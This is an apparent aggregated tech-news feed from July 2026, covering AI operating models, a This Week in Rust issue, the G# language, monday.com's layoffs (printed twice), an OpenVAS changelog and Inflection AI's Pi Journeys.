And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.



“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”



At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.



Reducing organizational friction



Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”



Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?



Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.



AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.



Operating model as strategy enabler



AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.



Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.



“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.



The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.



This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.



Talasaz points out that technology leaders tend to speak in terms of transformation. He suggests CIOs consider a different word: reinvention.



As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.



Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.



Closing the gap between strategy and execution



Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”



As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”



Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.



Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.



The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.



This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.



Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to reach out to me directly.



Hister: Search Local Files Instantly in Linux
Thu, 23 Jul 2026 11:38:38 +0200
The post Hister: Search Local Files Instantly in Linux first appeared on Tecmint: Linux Howtos, Tutorials & Guides .Hister is a self-hosted search tool that indexes your local files and browser history, so you can quickly search both
The post Hister: Search Local Files Instantly in Linux first appeared on Tecmint: Linux Howtos, Tutorials & Guides.


Ransom Canyon season 2 ending explained: are Staten and Quinn back together, who is Yancy's secret wife, Double K and Fuller Ranch feud explained and possible season 3 predictions
Thu, 23 Jul 2026 09:03:28 +0200
Even though some of the main storylines have carried over from season 1, there's a lot to unpack in the Ransom Canyon season 2 ending — so we've done it for you.


This Week In Rust: This Week in Rust 661
Thu, 23 Jul 2026 07:18:12 +0200
Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
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Updates from Rust Community


Official

Announcing Rust 1.97.1

Newsletters

The Embedded Rustacean Issue #76

Project/Tooling Updates

Announcing Topcoat: a framework for building full-stack reactive web apps with Rust
Syn 3.0.0
What’s New in RustRover 2026.2
kobe 0.35.0: readiness gates and cert recycling
Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3
Nova v0.2.1: computer-use MCP server
winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs
crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)
ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search
OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)
Freya 0.4
buildline: merging cargo and ninja's build profiling into one timeline
cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine
flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone
hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn
kache 0.11.0: broader compiler coverage and libc-aware keys
tracing-reload - reload layer without panics
Introducing OpenTypeless: Voice Input That Actually Works
Reading a Rust crate's capabilities out of its compiled symbols

Observations/Thoughts

Battery packs: Let's talk about crates, baby
Capture Clauses as Effects
Hardening Rust Code For Production
Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks
Rust service hardening and production checklist
[audio] The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board
[video] Jon Gjengset: Open Source Maintenance 2026-07-18
[video] Rust Release Changelog - 1.97.0
[video] Livestream: Rust in Ubuntu

Rust Walkthroughs

I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.
Two tricky bugs in a Rust daemon
[video] Backend Concepts in Rust: Securely Managing App Secrets
[video] Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)

Crate of the Week
This week's crate is xan, a TUI toolkit to work with CSV files.
Thanks to Simeon H.K. Fitch for the suggestion!
Please submit your suggestions and votes for next week!
Calls for Testing
An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.
If you are a feature implementer and would like your RFC to appear in this list, add a
call-for-testing label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.
No calls for testing were issued this week by
Rust,
Cargo,
Rustup or
Rust language RFCs.
Let us know if you would like your feature to be tracked as a part of this list.
Call for Participation; projects and speakers
CFP - Projects
Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!
Some of these tasks may also have mentors available, visit the task page for more information.




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CFP - Events
Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.



No Calls for papers or presentations were submitted this week.

If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!
Updates from the Rust Project
576 pull requests were merged in the last week
Compiler

account for async closures when pointing at lifetime in return type
comptime inherent impls
dep_graph: deduplicate task reads with an epoch-filtered index recorder
eagerly check for ambiguity in macro parsing
implement #[diagnostic::opaque] attribute to hide backtraces of macros
shrink ast::Expr64

Library

add explicit Iterator::count impl for str::EncodeUtf16
implement bool::toggle
implement const_binary_search
implement Debug helpers via Cell
implement VecDeque::truncate_to_range
make pin!() more foolproof
move std::io::BufRead to alloc::io
move std::io::Read to alloc::io
move std::io::read_to_string to alloc::io

Cargo

use PGO for Cargo
timings: only report units the job queue actually ran
do not include proc-macro deps in rustc search path args
include SBOM outputs in fingerprints
lazily initialize git2 fetch transports

Rustdoc

fix auto trait normalization env
use PGO for rustdoc

Clippy

add block_scrutinee lint
avoid invalid ref_as_ptr suggestions in const/static initializers
detect == 0 on unsigned types as a manual_clamp lower bound
fix if_not_else linting on macro expanded conditions
fix needless_collect suggests a suggestion that cannot be typed
non_zero_suggestions: don't lint signed integer div/rem as NonZero
manual_filter: don't eat comments in the and_then suggestion
require the use of as _ for indirectly used traits in clippy sources
rewrite min_ident_chars
use #[must_use] determination from the compiler

Rust-Analyzer

avoid index panic when flycheck list is empty
add capture hints to coroutines
add handler for E0572
do not assume array destructuring assignments with rest pattern are constant-sized
eagerly normalize .await's IntoFuture::Output
enable auto trait inference
extract variable preserving whitespace from macro input
fix coroutines not recording binding owners correctly
fix crashes in assists due to .unwrap() calls in SyntaxFactory
fix hir crate leaking bound variables from skipped binders
fix InferenceContext:identity_args using the wrong DefId
fix syntax bridge panic when spilting float
handle enum variants in next-solver generics
implement lowering of HRTB
invalid pattern_matching_variant lowering due to recovery
merge WherePredicate::ForLifetimes into WherePredicate::TypeBound
only write anon const ty in parent's inference result if it doesn't have its own inference
panic with a function item and a proc macro item having a duplicate name
parser to error on macro type bound
spawn proc-macro servers on requests clearing the client cache
use quote! inside ast::make::expr_call()
use Result for the lsp-server Response payload type
record expressions in types in ExprScope

Rust Compiler Performance Triage
The two most notable changes this week were #159115,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and #159091, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.
There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.
Triage done by @Kobzol.
Revision range: 5503df87..d527bc9b
Summary:



(instructions:u)
mean
range
count




Regressions ❌ 
 (primary)
0.4%
[0.2%, 1.0%]
40


Regressions ❌ 
 (secondary)
0.7%
[0.2%, 4.6%]
69


Improvements ✅ 
 (primary)
-2.0%
[-6.2%, -0.2%]
136


Improvements ✅ 
 (secondary)
-2.6%
[-8.4%, -0.2%]
119


All ❌✅ (primary)
-1.4%
[-6.2%, 1.0%]
176



2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total
Full report here.
Approved RFCs
Changes to Rust follow the Rust RFC (request for comments) process. These
are the RFCs that were approved for implementation this week:

No RFCs were approved this week.

Final Comment Period
Every week, the team announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.
Tracking Issues & PRs
Rust

Tracking Issue for bool::toggle
Tracking Issue for vec_try_remove
Avoid computing layout of enums with non-int discriminants
Tracking Issue for const_btree_len
Add raw_borrows_via_references lint
stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw
rustc_passes: lint unused #[path] attributes on inline modules

Compiler Team (MCPs only)

Emit note when calling rustc without specifying an edition
Let the OS handle stack growth
Add target_feature_available_at_call_site

Leadership Council

Deallocate post-2026 funds from PM and compiler-ops

Unsafe Code Guidelines

Do the bytes of a pointer have to stay in the same order?

No Items entered Final Comment Period this week for
  Cargo,
  Language Reference,
  Language Team or
  Rust RFCs.
Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.
New and Updated RFCs

RFC: Refactor the libs team

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2026-08-11 | Johannesburg, ZA | Johannesburg Rust Meetup
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2026-07-23 | Berlin, DE | Rust Berlin
Rust Berlin Talks: The next generation


2026-07-23 | London, UK | Rust London User Group
LDN Talks: July 2026 Antithesis Takeover


2026-07-23 | London, UK | London Rust Project Group
Rama modular service framework for Rust


2026-07-23 | Paris, FR | Rust Paris
Rust meetup #87


2026-07-25 | Stockholm, SE | Stockholm Rust
Ferris' Fika Forum #28


2026-07-27 | Augsburg, DE | Rust Meetup Augsburg
Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production


2026-07-29 | Poland, PL | Rust Poland
Rust Poland x Kraków #10


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Rust meetup #70


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Rust Manchester July Code Night


2026-08-18 | Aarhus, DK | Rust Aarhus
Hack Night: Trust but verify the LLM


2026-08-18 | Leipzig, DE | Rust - Modern Systems Programming in Leipzig
Topic TBD



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2026-07-22 | Austin, TX, US | Rust ATX
Rust Lunch - Fareground


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Rust NYC: Write A Custom Coding Agent and wasm_zero


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Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API


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Utah Rust August Meetup


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San Diego Rust August Meetup - Back in person!


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BOG-A-THON 3


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Rust Hacking in Person


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Dealing with Dependencies



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2026-07-23 | Perth, AU | Rust Perth Meetup Group
Rust Perth: July Meetup!


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2026-08-08 | São Paulo, SP | Rust-SP
Rust SP - Aug/2026



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Quote of the Week

We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.

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Please submit quotes and vote for next week!
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Discuss on r/rust


G# language for .NET borrows from Go, Kotlin, and Swift
Thu, 23 Jul 2026 04:08:47 +0200

		
					  
						




G# (GSharp) is moving forward as a programming language for Microsoft’s .NET platform, touted as bringing Go-, Kotlin-, and Swift-style ergonomics to the CLR (Common Language Runtime). The language is described by its creators as modern, simple, and accessible.



Although pre-1.0 and still growing, G# aims to be for people who want a small, predictable language with direct access to the .NET ecosystem. Developers will see imports, func, structs, slices, maps, channels, go, select, and for in iteration. Also important are nullable flow, direct calls into the CLR (Common Language Runtime), and built-in concurrency. 



With G#, copyrighted in 2026, developers get value-oriented structs, reference-oriented classes, data structs, and data classes. For concurrency, G# uses scope for structured concurrency, async func and await for task-based asynchrony, and async sequence[T] for asynchronous streams. G# also makes use of the same Task and Task[T] types familiar from the .NET BCL (Base Class Library).



G# documentation is available on the GitHub site of Microsoft software engineer David Obando. “Every .NET type—your packages, third-party NuGet packages, the BCL—is callable from G# with the syntax you already know. CLR generics use G#’s bracket spelling, and method calls, properties, indexers, and for in over IEnumerable[T] all just work,” according to the website.



A Visual Studio Code extension for G3 can be found at marketplace.visualstudio.com. The extension adds syntax highlighting, language server features, build/run commands, and debugger configuration for .gs and .gsproj files. Developers can install the extension from within VS Code (search for “G#” in the Extensions view) or from the command line.



Monday.com cuts 20% of its workforce to restructure for the AI era
Thu, 23 Jul 2026 03:02:52 +0200

		
					  
						




Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman today announced the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.



The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.



“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”



A ‘significant opportunity’ in technology



In a SEC filing this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.



Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and AI agents [work] together in one workspace.”



In recent months, monday.com has evolved its products, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.



“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.



The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.



Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”



“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”



A spokesperson for monday.com declined to comment further on the staff reductions.



Monday.com’s key market advantages



Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.



“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”



Melody Brue, VP and principal analyst at Moor Insights & Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.



While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”



Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.



“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”



But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.



Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.



“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.



Actions for the near-term



Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.



“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.



Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.



During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”



Support tiers should be enumerated in writing before renewal, and buyers should contract for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”



“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”



This article originally appeared on CIO.com.







Monday.com cuts 20% of its workforce to restructure for the AI era
Thu, 23 Jul 2026 02:50:31 +0200

		
					  
						




Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman today announced the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.



The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.



“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”



A ‘significant opportunity’ in technology



In a SEC filing this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.



Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and AI agents [work] together in one workspace.”



In recent months, monday.com has evolved its products, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.



“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.



The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.



Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”



“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”



A spokesperson for monday.com declined to comment further on the staff reductions.



Monday’s key market advantages



Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.



“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”



Melody Brue, VP and principal analyst at Moor Insights & Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.



While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”



Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.



“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”



But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.



Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.



“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.



Actions for the near-term



Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.



“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.



Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.



During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”



Support tiers should be enumerated in writing before renewal, and buyers should contract for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”



“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”



After shocking quarter, IBM insists that AI isn’t killing the mainframe
Thu, 23 Jul 2026 01:52:48 +0200
After IBM's stock crashed last week on warnings of a poor mainframe sales, the CEO explained that AI wrecked corporate hardware budget, temporarily.


Startup Spotlight: MediaPact wants to reinvent digital ads for the AI era
Thu, 23 Jul 2026 00:52:58 +0200

As AI reshapes online search and advertising, Seattle startup MediaPact is building a marketplace to help brands and publishers strike direct sponsorship deals. Founder Lacie Thompson discusses launching the company, using AI to build without coding experience, and spotting a new opportunity in a rapidly changing digital media landscape. Read More


v23.50.1
Thu, 23 Jul 2026 00:08:24 +0200
23.50.1 - 2026-07-22
Bug Fixes

Missing impacket-wmiexec binary in openvasd container (#2294) cb8f063c
keep script stats timestamps ordered (#2290) 99720b20



Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval
Wed, 22 Jul 2026 22:58:21 +0200
Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.
The company launched Inflection AI Labs, a public-facing research and experimentation arm, alongside Pi Journeys, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.
"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.
Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.
Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional
White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.
"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."
White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.
"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."
That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that emotionally engaging chatbots deepen isolation by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.
Inside Pi Journeys, the AI companion that maps your relationships and life stages
Pi Journeys makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.
"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.
White, who spent years as chief R&D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.
Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."
The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.
What Inflection's consumer AI research reveals about how people actually use chatbots
Inflection Labs' first publication, the State of Consumer AI Research Report, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.
More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.
"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."
This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."
He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.
How the $650 million Microsoft deal hollowed out Inflection — and set up its second act
To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having raised $1.3 billion in mid-2023 in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.
Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as Reuters reported. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.
